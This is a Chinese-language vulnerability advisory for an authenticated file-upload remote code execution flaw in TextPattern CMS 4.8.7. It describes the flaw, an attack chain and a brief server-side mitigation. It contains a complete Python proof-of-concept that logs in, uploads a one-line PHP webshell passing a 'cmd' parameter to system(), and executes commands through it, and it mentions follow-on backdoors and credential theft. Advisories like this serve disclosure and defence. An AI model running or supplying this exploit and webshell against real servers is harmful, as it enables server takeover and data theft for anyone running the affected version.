IPBUF安全漏洞报告
English
CVE-2021-47943 CVSS 8.8 高危

CVE-2021-47943 TextPattern CMS远程代码执行漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47943
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TextPattern CMS

相关标签

RCE远程代码执行文件上传TextPattern CMSWebShellCVE-2021-47943

漏洞概述

TextPattern CMS 4.8.7版本中存在一处严重的远程代码执行漏洞。由于文件上传功能缺乏严格的安全验证,经过身份验证的攻击者可以上传恶意的PHP文件。攻击者随后可访问上传路径并执行任意系统命令,从而完全控制服务器,造成敏感数据泄露或系统被破坏。

技术细节

该漏洞位于TextPattern CMS的文件上传模块中。系统在处理用户上传的文件时,未能有效限制文件扩展名及内容类型,允许低权限用户上传包含PHP代码的脚本文件(如WebShell)。攻击者首先登录后台,进入内容区域的“Files”部分上传恶意文件。上传成功后,由于Web服务器或应用配置未禁止`/textpattern/files/`目录下的脚本执行,攻击者只需通过HTTP GET请求访问该恶意文件,并将系统命令作为参数传递。后端脚本接收参数后将其传递给系统函数(如`system()`)执行,导致服务器端命令注入。

攻击链分析

STEP 1
侦察与认证
攻击者获取一个有效的低权限账户,并登录TextPattern CMS后台管理界面。
STEP 2
漏洞利用
攻击者导航至“Files”上传区域,利用文件上传功能绕过限制,上传包含恶意PHP代码的WebShell文件。
STEP 3
代码执行
攻击者通过浏览器访问/textpattern/files/目录下的恶意文件,并通过GET参数传入系统命令,服务器执行命令并返回结果。
STEP 4
权限维持
攻击者利用已执行的命令进一步渗透系统,如安装后门、窃取数据库凭证或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-host/textpattern" username = "attacker" password = "password" session = requests.Session() # Step 1: Login to the CMS login_data = { "p_userid": username, "p_password": password } login_resp = session.post(f"{target_url}/index.php", data=login_data) if login_resp.status_code != 200: print("Login failed") exit() # Step 2: Upload malicious PHP file (WebShell) # The PHP code executes system command based on 'cmd' GET parameter php_shell_content = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>" files = { "file": ("exploit.php", php_shell_content, "application/x-php") } upload_resp = session.post(f"{target_url}/index.php?event=file", files=files) if upload_resp.status_code == 200 and "exploit.php" in upload_resp.text: print("File uploaded successfully.") # Step 3: Trigger the Remote Code Execution exploit_url = f"{target_url}/files/exploit.php" cmd = "whoami" exec_resp = session.get(exploit_url, params={"cmd": cmd}) print(f"Command '{cmd}' output:") print(exec_resp.text) else: print("Upload failed.")

影响范围

TextPattern CMS 4.8.7

防御指南

临时缓解措施
如果无法立即升级,建议管理员在服务器层面配置重写规则,拒绝访问/textpattern/files/目录下的任何.php文件,或者临时关闭文件上传功能,直到应用补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表